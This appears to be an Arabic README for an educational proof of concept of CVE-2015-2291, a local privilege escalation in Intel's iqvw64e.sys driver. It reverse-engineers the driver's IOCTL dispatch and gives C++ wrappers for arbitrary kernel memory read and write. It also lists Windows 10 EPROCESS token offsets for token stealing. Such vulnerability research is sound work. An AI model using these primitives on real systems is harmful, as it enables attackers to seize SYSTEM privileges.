
إثبات مفهوم تعليمي لثغرة CVE-2015-2291 الخاصة بتصعيد الامتيازات المحلية عبر استغلال IOCTL في برنامج تشغيل إيثرنت إنتل، مع توضيح القراءة/الكتابة العشوائية لذاكرة النواة وسرقة رمز EPROCESS على نظام ويندوز 10 بنية x64.
CVE-2015-2291 إثبات مفهوم لتصعيد الامتيازات المحلية

هذا المشروع هو إثبات مفهوم تعليمي لثغرة تصعيد الامتيازات المحلية (LPE) في برنامج التشغيل iqvw64e.sys (SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9) — وهو برنامج تشغيل تشخيصات إيثرنت من إنتل المرتبط بـ CVE-2015-2291.
بعد رؤية برنامج التشغيل وهو يُستغل في أدوات تحميل وضع النواة مثل KDMapper، أردت تفكيكه بنفسي لفهم كيفية عمل توزيع IOCTL، وما أنواع الدوال التي يعرضها لوضع المستخدم، وكيف يمكن للمهاجم اكتشافها أو استغلالها. يستعرض هذا الشرح العملية بدءًا من التحليل الثابت وصولًا إلى بناء بدائيات ذاكرة باستخدام DeviceIoControl، وفي النهاية إنشاء استغلال يسيء استخدام هذه البدائيات لاستبدال رمز الوصول (access token) للعملية الحالية بـ رمز عملية SYSTEM، مما يرفع العملية فعليًا إلى امتيازات SYSTEM.
في نظام Windows، ترتبط كل عملية برمز وصول (access token) يحدد هويتها وامتيازاتها. من خلال الحصول على قراءة/كتابة عشوائية في النواة، يصبح من الممكن تعديل مؤشر الرمز المخزن في بنية العملية داخل النواة. استبدال هذا المؤشر بالمؤشر الخاص بعملية SYSTEM يجعل نظام التشغيل يربط العملية الحالية بالسياق الأمني لـ SYSTEM، مما يمنحها فعليًا امتيازات كاملة. تعلم المزيد هنا.
يسجّل برنامج التشغيل روتين توزيع لـ IRP_MJ_DEVICE_CONTROL، والذي يعالج استدعاءات DeviceIoControl من وضع المستخدم. كما هو موضح أدناه، يؤدي إلى sub_11150 الذي يوجه تدفق الكود بناءً على رمز التحكم في الإدخال IO Control Code. في هذه الحالة، نحن مهتمون بـ 0x80862007، والذي يأخذنا إلى loc_111C2.

باتباع تدفق التحكم عبر loc_111C2، نصل إلى sub_113C0. يستقبل مخزن إدخال (a1) ويستخدم أول QWORD من ذلك المخزن كمؤشر إلى جدول قفز لدوال المعالجة الداخلية. هنا، يقوم برنامج التشغيل بما يلي:
يقرأ a1 ← أول QWORD (0x0) ← jump_table_index
يتحول بناءً على هذا الفهرس
يوجّه إلى الدالة الداخلية المقابلة
يستخدم الحقول المتبقية في a1 كوسائط
نعرف الآن أن مخزن الإدخال يتحكم في كل من هدف التوزيع ووسائطه. سنواصل تعريف بنية مخزن الإدخال مع استمرار التحليل.
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00 — used as the dispatch selector
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;


memmoveأثناء تحليل حالات جدول القفز، بحثت عن معالجات تشبه memmove أو memcpy. عند case 0x33، يستدعي برنامج التشغيل sub_11EA0، ممررًا ثلاثة حقول من مخزن الإدخال. هذا يشبه إلى حد كبير نسخ الذاكرة:

عند فتح sub_11EA0، نجد التوقيع المتوقع:
void* memmove( void* dest, const void* src, std::size_t count );
يؤكد التفكيك أن:
الوسيط a1 = destination
الوسيط a2 = source
الوسيط a3 = length

بهذه المعلومات، يمكننا الآن إعادة بناء تخطيط مخزن الإدخال المتوقع لاستدعاء memmove بشكل كامل:
typedef struct _MEMMOVE_INPUT_BUFFER
{
uint64_t jump_table_index; // 0x00
uint64_t padding; // 0x08 (8)
uint64_t source; // 0x10 (16)
uint64_t destination; // 0x18 (24)
uint64_t length; // 0x20 (32)
} MEMMOVE_INPUT_BUFFER, *PMEMMOVE_INPUT_BUFFER;
نفهم الآن أنه بإرسال MEMMOVE_INPUT_BUFFER صالح إلى برنامج التشغيل، مع:
jump_table_index = 0x33
ضبط source وdestination وlength حسب الحاجة
يمكننا توجيه برنامج التشغيل لاستدعاء memmove على عناوين عشوائية، مما يمنحنا قدرات كاملة لقراءة/كتابة ذاكرة النواة من وضع المستخدم.
فيما يلي أغلفة وضع المستخدم المبنية حول هذه البدائية:
bool MemMove(uint64_t destination, uint64_t source, uint64_t size) {
if (!destination || !source || !size)
return 0;
MEMMOVE_INPUT_BUFFER input_buffer = { 0 };
input_buffer.jump_table_index = 0x33; //jumptable index for memmove (51)
input_buffer.source = source;
input_buffer.destination = destination;
input_buffer.length = size;
DWORD bytes_returned = 0;
return DeviceIoControl(hDriver, IOCTL_MEMMOVE, &input_buffer, sizeof(input_buffer), nullptr, 0, &bytes_returned, nullptr);
}
uintptr_t read64(uintptr_t address)
{
uintptr_t value = 0;
if (MemMove(reinterpret_cast<uint64_t>(&value), address, sizeof(uintptr_t)))
return value;
return 0;
}
bool write64(uintptr_t address, uintptr_t value)
{
return MemMove(address, reinterpret_cast<uint64_t>(&value), sizeof(uintptr_t));
}
تتيح هذه الدوال المساعدة قراءة وكتابة عشوائية 64-بت إلى الذاكرة الافتراضية للنواة. من هذه النقطة، تصبح هجمات متنوعة ممكنة (مثل سرقة رمز EPROCESS)، لكن هذا الشرح يركز على إعادة البناء والتحليل. ستجد في main.cpp استغلالًا جاهزًا لسرقة رمز EPROCESS، من إعداد Eap2468 (CVE-2021-2155).
إصدار Windows: 10 x64 22H2 (19045.6466)
إزاحات EPROCESS:
UniqueProcessId: 0x440ActiveProcessLinks: 0x448Token: 0x4b8برنامج التشغيل: iqvw64e.sys (تم تضمين الملف الثنائي لبرنامج التشغيل في المستودع لراحتك)
SHA256: 37c637a74bf20d7630281581a8fae124200920df11ad7cd68c14c26cc12c5ec9
